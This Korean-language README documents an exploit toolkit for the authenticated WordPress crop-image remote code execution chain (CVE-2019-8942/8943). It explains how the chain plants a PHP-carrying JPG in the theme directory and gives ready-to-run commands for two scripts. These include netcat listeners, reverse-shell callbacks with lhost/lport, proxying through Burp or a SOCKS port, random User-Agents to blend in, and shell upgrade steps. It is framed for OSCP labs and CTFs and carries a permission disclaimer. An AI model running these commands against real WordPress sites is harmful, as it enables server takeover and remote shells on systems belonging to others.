
WordPress Crop Image RCE를 위한 Python 익스플로잇 툴킷 — CVE-2019-8942 & CVE-2019-8943
인증된 WordPress 크롭 이미지(crop-image) 익스플로잇 체인의 Python3 구현입니다. 이 저장소는 두 가지 독립적인 워크플로우로 구성되어 있습니다: 수동 OSCP 스타일 스크립트와 통합 리버스 셸 핸들러가 포함된 완전 자동화 스크립트입니다.
승인된 랩, CTF, 교육 플랫폼 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
이 익스플로잇 체인은 다음 취약점을 대상으로 합니다:
CVE-2019-8942CVE-2019-8943이 취약점에 대한 공개 Metasploit 모듈은 영향을 받는 버전을 다음과 같이 설명합니다:
WordPress 5.0.0 and WordPress <= 4.9.8
미디어 업로드/편집 권한이 있는 유효한 WordPress 계정이 필요합니다. 많은 랩 환경에서 Author 레벨 사용자면 충분합니다.
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg는 OSCP 스타일 스크립트가 사용하는 기본 JPG 캐리어입니다. 수동 워크플로우가 별도의 이미지를 찾지 않고 바로 작동할 수 있도록 포함되어 있습니다.
autoexploit.py는 자체 포함되어 있으며 내부에 16진수 JPG 캐리어를 포함하고 있지만, -i 옵션으로 사용자 정의 JPG를 받을 수도 있습니다.
python3 -m pip install -r requirements.txt
필요한 유일한 Python 패키지는 다음과 같습니다:
requests
SOCKS 프록시 지원이 필요하면, 환경에 SOCKS 확장을 포함하여 requests를 설치하세요:
python3 -m pip install 'requests[socks]'
두 스크립트 모두 독립적입니다. 서로의 코드를 임포트하지 않습니다.
exploit_oscp.py는 워크플로우를 명시적으로 유지합니다. 이미지 캐리어를 준비하고, 인증된 WordPress 익스플로잇 체인을 수행하며, 명령 실행을 확인하고, 사용자가 수동으로 시작한 리스너로 리버스 셸을 트리거합니다.
자동으로 핸들러를 시작하지 않으며 Metasploit, Meterpreter, 또는 msfvenom을 사용하지 않습니다.
먼저 리스너를 시작하세요:
nc -lvnp 443
기본 image.jpg를 사용하여 익스플로잇 실행:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py는 속도를 위해 설계되었습니다. 대상 자격 증명만으로 실행할 수 있으며, 콜백 IP와 리스너 포트를 자동으로 선택하려고 시도합니다.
전체 익스플로잇 흐름을 수행하고, 로컬 리스너를 시작하며, 여러 리버스 셸 페이로드 스타일을 시도하고, 색상화된 로컬 상태 메시지와 조용한 TTY 업그레이드 처리를 갖춘 더 깔끔한 대화형 콘솔을 엽니다.
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
Burp를 통한 HTTP 프록시:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS 프록시:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
사용자 정의 User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
무작위 User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
이것은 일반적인 PHP 업로드가 아닙니다. WordPress는 이미지 콘텐츠를 기대하고, 미디어 편집기를 통해 파일을 처리하여 크롭된 이미지를 생성합니다. 익스플로잇 체인은 첨부 파일 메타데이터와 경로 트래버설을 악용하여 크롭된 이미지를 활성 테마 디렉토리 안에 배치합니다. 마지막으로, 크롭된 파일이 페이지 템플릿으로 참조되어 WordPress가 이를 PHP로 포함하도록 합니다.
PHP가 포함된 임의의 JPG를 취약한 EXIF 메타데이터에 배치하면, GD가 크롭 처리 중 메타데이터를 제거하거나 다시 인코딩하여 실패할 수 있습니다. 이 저장소는 워크플로우를 명확하게 유지합니다:
exploit_oscp.py는 포함된 image.jpg를 기본적으로 사용하거나 -i로 전달된 사용자 정의 이미지를 사용합니다.autoexploit.py는 자체 포함되도록 내부 16진수 캐리어를 포함합니다.async-upload.php를 통해 JPG 캐리어를 업로드합니다._wp_attached_file 조작을 사용하여 크롭 출력 경로에 영향을 줍니다._wp_page_template을 크롭된 JPG 이름으로 설정합니다.0 GET 파라미터를 통해 명령 실행을 확인합니다.WordPress 버전이 취약하고 계정이 미디어를 업로드 및 편집할 수 있는지 확인하세요.
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
콜백 IP와 리스너를 확인하세요.
ip addr show tun0
nc -lvnp 443
그런 다음 올바른 --lhost로 OSCP 스크립트를 다시 실행하세요.
프록시 옵션을 명시적으로 사용하세요:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS 지원을 설치하세요:
python3 -m pip install 'requests[socks]'
기본 리버스 셸은 종종 제한적입니다. 자동화 스크립트는 세션을 자동으로 업그레이드하려고 시도합니다. OSCP 모드에서는 콜백을 받은 후 수동으로 업그레이드하세요:
python3 -c 'import pty; pty.spawn("/bin/bash")'
로컬에서 Ctrl+Z를 누른 후 다음을 실행하세요:
stty raw -echo; fg
셸 내부에서:
export TERM=xterm
exploit_oscp.py는 의도적으로 수동입니다:
autoexploit.py에 대한 의존성 없음;LHOST 및 LPORT;의도된 워크플로우는 다음과 같습니다:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
연구와 취약점 체인은 원래 연구자들에 의해 공개적으로 문서화되었으며, 이후 공개 익스플로잇 프레임워크에 구현되었습니다.
Python 구현 및 랩 워크플로우: SpeatX.
이 저장소는 승인된 보안 테스트, CTF, 교육 랩 및 교육 연구를 위해 제공됩니다.
소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
| 스크립트 | 최적 사용처 | 이미지 처리 | 셸 처리 |
|---|
exploit_oscp.py | OSCP 스타일/수동 익스플로잇 | 기본적으로 image.jpg 사용, 또는 -i custom.jpg | 수동으로 nc 시작 |
autoexploit.py | 빠른 랩 사용 및 반복 테스트 | 기본적으로 내장된 16진수 JPG 사용, 또는 -i custom.jpg | 리스너 시작, 콜백 트리거, 대화형 콘솔 열기 |
| 옵션 | 필수 | 기본값 | 의미 |
|---|
-t, --target | 예 | 없음 | 대상 WordPress 기본 URL, 예: http://target.local/ |
-u, --username | 예 | 없음 | WordPress 사용자 이름 |
-p, --password | 예 | 없음 | WordPress 비밀번호 |
-i, --image | 아니오 | image.jpg | 준비 및 업로드할 JPG 캐리어 |
--lhost | 예 | 없음 | 콜백 IP, 일반적으로 VPN/tun0 IP |
--lport | 예 | 없음 | 수동 리스너가 대기 중인 포트 |
--proxy | 아니오 | 없음 | 프록시 URL, 예: http://127.0.0.1:8080 또는 socks5://127.0.0.1:9050 |
--user-agent | 아니오 | 내장 | 사용자 정의 User-Agent 헤더 |
--random-user-agent | 아니오 | 비활성화 | 무작위 브라우저 스타일 User-Agent 사용 |
--timeout | 아니오 | 20 | HTTP 타임아웃(초) |
--debug | 아니오 | 비활성화 | HTTP 디버그 출력 및 실패한 응답 저장 |
| 옵션 | 필수 | 기본값 | 의미 |
|---|
-t, --target | 예 | 없음 | 대상 WordPress 기본 URL |
-u, --username | 예 | 없음 | WordPress 사용자 이름 |
-p, --password | 예 | 없음 | WordPress 비밀번호 |
-i, --image | 아니오 | 내장된 16진수 JPG | 선택적 사용자 정의 JPG 캐리어 |
--lhost | 아니오 | 자동 감지 | 리버스 셸에서 사용하는 콜백 IP |
--lport | 아니오 | 사용 가능한 로컬 포트 | 로컬 리스너 포트 |
--listen-timeout | 아니오 | 12 | 각 리버스 셸 시도 대기 시간(초) |
--proxy | 아니오 | 없음 | 프록시 URL, 예: http://127.0.0.1:8080 또는 socks5://127.0.0.1:9050 |
--user-agent | 아니오 | 내장 | 사용자 정의 User-Agent 헤더 |
--random-user-agent | 아니오 | 비활성화 | 무작위 브라우저 스타일 User-Agent 사용 |
--timeout | 아니오 | 20 | HTTP 타임아웃(초) |
--debug | 아니오 | 비활성화 | HTTP 디버그 출력 및 실패한 응답 저장 |